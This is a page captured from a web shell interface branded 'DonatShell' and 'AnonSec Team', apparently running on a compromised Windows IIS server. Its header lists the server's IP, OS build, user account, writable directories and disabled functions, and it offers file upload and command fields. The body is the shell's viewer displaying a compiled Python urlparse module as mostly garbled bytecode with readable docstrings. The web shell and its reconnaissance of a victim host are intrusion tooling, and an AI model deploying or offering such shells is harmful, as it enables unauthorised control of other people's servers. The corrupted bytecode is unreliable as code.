DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/python/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/python/lib//urlparse.pyc
ó
 ¤'Sc@ssdZddddddddgZd	d
ddd
ddddddddddgZd	d
dddd
dddddddddddddddddgZdd d!d"ddd
dd#d$g
Zd	d dd
d
ddddd#d$dddgZd
dd
ddddddd#d$dgZd	d d
dd"ddddddddg
Zd%Zd&Z	iZ
d'„Zd(efd)„ƒYZ
d*d+lmZd,ed,d-ƒe
fd.„ƒYZd/ed/d0ƒe
fd1„ƒYZded2„Zd3„Zd4d5„Zded6„Zd7„Zd8„Zed9„Zd:„Zd;Zed<„eDƒƒZd=„Zd4d4d>„Zd4d4d?„Z d@S(AscParse (absolute and relative) URLs.

urlparse module is based upon the following RFC specifications.

RFC 3986 (STD66): "Uniform Resource Identifiers" by T. Berners-Lee, R. Fielding
and L.  Masinter, January 2005.

RFC 2732 : "Format for Literal IPv6 Addresses in URL's by R.Hinden, B.Carpenter
and L.Masinter, December 1999.

RFC 2396:  "Uniform Resource Identifiers (URI)": Generic Syntax by T.
Berners-Lee, R. Fielding, and L. Masinter, August 1998.

RFC 2368: "The mailto URL scheme", by P.Hoffman , L Masinter, J. Zwinski, July 1998.

RFC 1808: "Relative Uniform Resource Locators", by R. Fielding, UC Irvine, June
1995.

RFC 1738: "Uniform Resource Locators (URL)" by T. Berners-Lee, L. Masinter, M.
McCahill, December 1994

RFC 3986 is considered the current standard and any future changes to
urlparse module should conform with it.  The urlparse module is
currently not entirely compliant with this RFC due to defacto
scenarios for parsing, and for backward compatibility purposes, some
parsing quirks from older RFCs are retained. The testcases in
test_urlparse.py provides a good indicator of parsing behavior.

turlparset
urlunparseturljoint	urldefragturlsplitt
urlunsplittparse_qst	parse_qsltftpthttptgophertnntptimaptwaistfilethttpstshttptmmstprosperotrtsptrtsputtsftpttelnettsnewstrsynctsvnssvn+sshtnfstgitsgit+sshthdltmailtotnewstsiptsipssAabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+-.icCstjƒdS(sClear the parse cache.N(t_parse_cachetclear(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pytclear_cache>stResultMixincBsJeZdZed„ƒZed„ƒZed„ƒZed„ƒZRS(s-Shared methods for the parsed result objects.cCsX|j}d|krT|jddƒd}d|krP|jddƒd}n|SdS(Nt@iit:(tnetloctrsplittsplittNone(tselfR(tuserinfo((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pytusernameFs	cCsR|j}d|krN|jddƒd}d|krN|jddƒdSndS(NR&iiR'(R(R)R*R+(R,R(R-((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pytpasswordPs	cCsŠ|jjdƒd}d|krId|krI|jdƒddjƒSd|krl|jdƒdjƒS|dkr|dS|jƒSdS(	NR&iÿÿÿÿt[t]iiR'R(R(R*tlowerR+(R,R(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pythostnameYscCsW|jjdƒdjdƒd}d|krO|jdƒd}t|dƒSdSdS(NR&iÿÿÿÿR1R'ii
(R(R*tintR+(R,R(tport((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyR5es
#
(t__name__t
__module__t__doc__tpropertyR.R/R3R5(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyR%Cs

	iÿÿÿÿ(t
namedtupletSplitResults!scheme netloc path query fragmentcBseZdZd„ZRS(cCs
t|ƒS(N(R(R,((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pytgeturlts((R6R7t	__slots__R<(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyR;pstParseResults(scheme netloc path params query fragmentcBseZdZd„ZRS(cCs
t|ƒS(N(R(R,((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyR<|s((R6R7R=R<(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyR>xscCsst|||ƒ}|\}}}}}|tkrTd|krTt|ƒ\}}nd}t||||||ƒS(s#Parse a URL into 6 components:
    <scheme>://<netloc>/<path>;<params>?<query>#<fragment>
    Return a 6-tuple: (scheme, netloc, path, params, query, fragment).
    Note that we don't break the components up in smaller bits
    (e.g. netloc is a single string) and we don't expand % escapes.t;R(Rtuses_paramst_splitparamsR>(turltschemetallow_fragmentsttupleR(tquerytfragmenttparams((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyR€scCsed|kr@|jd|jdƒƒ}|dkrO|dfSn|jdƒ}|| ||dfS(Nt/R?iRi(tfindtrfind(RBti((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyRAŽs
icCsbt|ƒ}x>dD]6}|j||ƒ}|dkrt||ƒ}qqW|||!||fS(Ns/?#i(tlenRJtmin(RBtstarttdelimtctwdelim((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyt_splitnetloc—s
cCst|ƒ}|||t|ƒt|ƒf}tj|d
ƒ}|rI|Sttƒtkretƒnd}}}|jdƒ}|dkr|| dkr|| j	ƒ}||d}|d dkr#t
|dƒ\}}d|krùd	|ksd	|kr#d|kr#td
ƒ‚q#n|rPd|krP|jddƒ\}}nd|krw|jddƒ\}}nt
|||||ƒ}	|	t|<|	S|jdƒsÁ||djƒrxD|| D]}
|
tkrÌPqÌqÌW|| j	ƒ||d}}qn|d dkrrt
|dƒ\}}d|krHd	|ks`d	|krrd|krrtd
ƒ‚qrn|r«|tkr«d|kr«|jddƒ\}}n|tkrÞd|krÞ|jddƒ\}}nt
|||||ƒ}	|	t|<|	S(sParse a URL into 5 components:
    <scheme>://<netloc>/<path>?<query>#<fragment>
    Return a 5-tuple: (scheme, netloc, path, query, fragment).
    Note that we don't break the components up in smaller bits
    (e.g. netloc is a single string) and we don't expand % escapes.RR'iR	iis//R0R1sInvalid IPv6 URLt#t?N(tboolttypeR"tgetR+RMtMAX_CACHE_SIZER$RJR2RSt
ValueErrorR*R;tendswithtisdigittscheme_charst
uses_fragmentt
uses_query(RBRCRDtkeytcachedR(RFRGRLtvRQ((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyRŸsT!

$%
cCsJ|\}}}}}}|r1d||f}nt|||||fƒS(súPut a parsed URL back together again.  This may result in a
    slightly different, but equivalent URL, if the URL that was parsed
    originally had redundant delimiters, e.g. a ? with an empty query
    (the draft states that these are equivalent).s%s;%s(R(tdataRCR(RBRHRFRG((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyRÒscCsÀ|\}}}}}|s=|rw|tkrw|d dkrw|r`|d dkr`d|}nd|pld|}n|rŽ|d|}n|r¥|d|}n|r¼|d|}n|S(	skCombine the elements of a tuple as returned by urlsplit() into a
    complete URL as a string. The data argument can be any five-item iterable.
    This may result in a slightly different, but equivalent URL, if the URL that
    was parsed originally had unnecessary delimiters (for example, a ? with an
    empty query; the RFC states that these are equivalent).is//iRIRR'RURT(tuses_netloc(RcRCR(RBRFRG((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyRÜs(
c	CsŽ|s
|S|s|St|d|ƒ\}}}}}}t|||ƒ\}	}
}}}
}|	|kst|	tkrx|S|	tkr¯|
r¦t|	|
|||
|fƒS|}
n|d dkrÛt|	|
|||
|fƒS|sG|}|sö|}n&|d }t|	|
|||
|fƒS|
s+|}
nt|	|
|||
|fƒS|jdƒd |jdƒ}|ddkr„d|d<nxd|kr£|jdƒq‡Wxqd}t|ƒd}xU||kr||dkr||dd	kr||d|d5Pn|d}qÀWPq§|ddgkr7d|d<n2t|ƒdkri|ddkridg|d)nt|	|
dj|ƒ||
|fƒS(
saJoin a base URL and a possibly relative URL to form an absolute
    interpretation of the latter.RiRIiÿÿÿÿt.s..iiþÿÿÿ(Rs..(Rt
uses_relativeRdRR*tremoveRMtjoin(tbaseRBRDtbschemetbnetloctbpathtbparamstbqueryt	bfragmentRCR(tpathRHRFRGtsegmentsRLtn((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyRîs`$$		
	 

"cCs`d|krRt|ƒ\}}}}}}t|||||dfƒ}||fS|dfSdS(s¿Removes any existing fragment from URL.

    Returns a tuple of the defragmented URL and the fragment.  If
    the URL contained no fragments, the second element is the
    empty string.
    RTRN(RR(RBtsRrtptatqtfragtdefrag((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyR's

t0123456789ABCDEFabcdefccs?|]5}tD](}||tt||dƒƒfVq
qdS(iN(t_hexdigtchrR4(t.0Rutb((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pys	<genexpr>;scCs½|jdƒ}t|ƒdkr%|S|d}x‡|dD]{}y|t|d |d7}Wq:tk
r|d|7}q:tk
r´|tt|d dƒƒ|d7}q:Xq:W|S(s"unquote('abc%20def') -> 'abc def'.t%iiii(R*RMt	_hextochrtKeyErrortUnicodeDecodeErrortunichrR4(Rstrestitem((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pytunquote>s


-cCsZi}xMt|||ƒD]9\}}||krE||j|ƒq|g||<qW|S(s²Parse a query given as a string argument.

        Arguments:

        qs: percent-encoded query string to be parsed

        keep_blank_values: flag indicating whether blank values in
            percent-encoded queries should be treated as blank strings.
            A true value indicates that blanks should be retained as
            blank strings.  The default false value indicates that
            blank values are to be ignored and treated as if they were
            not included.

        strict_parsing: flag indicating what to do with parsing errors.
            If false (the default), errors are silently ignored.
            If true, errors raise a ValueError exception.
    (Rtappend(tqstkeep_blank_valueststrict_parsingtdicttnametvalue((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyRNscCs$g|jdƒD]"}|jdƒD]}|^q#q}g}xß|D]×}|r_|r_qEn|jddƒ}t|ƒdkr¸|rœtd|f‚n|rE|jdƒq¸qEnt|dƒsÎ|rEt|djd	d
ƒƒ}	t|djd	d
ƒƒ}
|j|	|
fƒqEqEW|S(s¦Parse a query given as a string argument.

    Arguments:

    qs: percent-encoded query string to be parsed

    keep_blank_values: flag indicating whether blank values in
        percent-encoded queries should be treated as blank strings.  A
        true value indicates that blanks should be retained as blank
        strings.  The default false value indicates that blank values
        are to be ignored and treated as if they were  not included.

    strict_parsing: flag indicating what to do with parsing errors. If
        false (the default), errors are silently ignored. If true,
        errors raise a ValueError exception.

    Returns a list, as G-d intended.
    t&R?t=iisbad query field: %rRit+t (R*RMRZR†R…treplace(R‡RˆR‰ts1ts2tpairstrt
name_valuetnvR‹RŒ((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyRhs"8
N(!R8t__all__RfRdtnon_hierarchicalR@R_R^R]RYR"R$tobjectR%tcollectionsR:R;R>tTrueRRARSRRRRRRzRŠRR…RR(((sJC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\Python\Lib\urlparse.pyt<module>sR	+""		3	
	9		
	

Anon7 - 2022
AnonSec Team